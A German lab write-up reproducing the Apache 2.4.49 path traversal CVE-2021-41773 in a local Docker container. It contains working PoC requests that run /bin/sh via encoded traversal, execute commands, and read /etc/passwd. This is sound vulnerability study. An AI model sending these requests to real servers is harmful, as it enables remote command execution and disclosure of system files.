
Reproduktion von CVE-2021-41773
https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
Apache v2.4.49 spezifische Schwachstelle; in früheren Versionen gab es die Funktion ap_normalize_path nicht. Diese Funktion wurde in Version 2.4.49 eingeführt und führte genau zu einem Path Traversal. In v2.4.50 wurde sie behoben.
https://github.com/1nhann/CVE-2021-41773
In dieser Umgebung ist das CGI-Modul geladen:
LoadModule cgi_module modules/mod_cgi.so
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve
Im Container: image-20211006213843476
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006210008166
Führt das /bash.cgi im Wurzelverzeichnis aus.
Siehe Apache-Dokumentation zu CGI:
STDIN and STDOUT
Other communication between the server and the client happens over standard input (
STDIN) and standard output (STDOUT). In normal everyday context,STDINmeans the keyboard, or a file that a program is given to act on, andSTDOUTusually means the console or screen.When you
POSTa web form to a CGI program, the data in that form is bundled up into a special format and gets delivered to your CGI program overSTDIN. The program then can process that data as though it was coming in from the keyboard, or from a fileThe "special format" is very simple. A field name and its value are joined together with an equals (=) sign, and pairs of values are joined together with an ampersand (&). Inconvenient characters like spaces, ampersands, and equals signs, are converted into their hex equivalent so that they don't gum up the works. The whole data string might look something like:
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey
Das bedeutet, dass die per POST übergebenen Parameter als Inhalt von stdin an das aufgerufene CGI-Programm übergeben werden.
Wenn auf /bin/sh zugegriffen wird, kann direkt eine Shell erhalten werden.
PoC:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
data=;touch /tmp/pwned
image-20211006213421718
Ermöglicht auch die direkte Ausgabe von Befehlsausführungsergebnissen:
PoC:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
echo Content-Type: text/plain; echo; id
Wenn das CGI-Modul nicht geladen ist, wird die angeforderte Datei nicht ausgeführt:
#LoadModule cgi_module modules/mod_cgi.so
PoC:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006232521116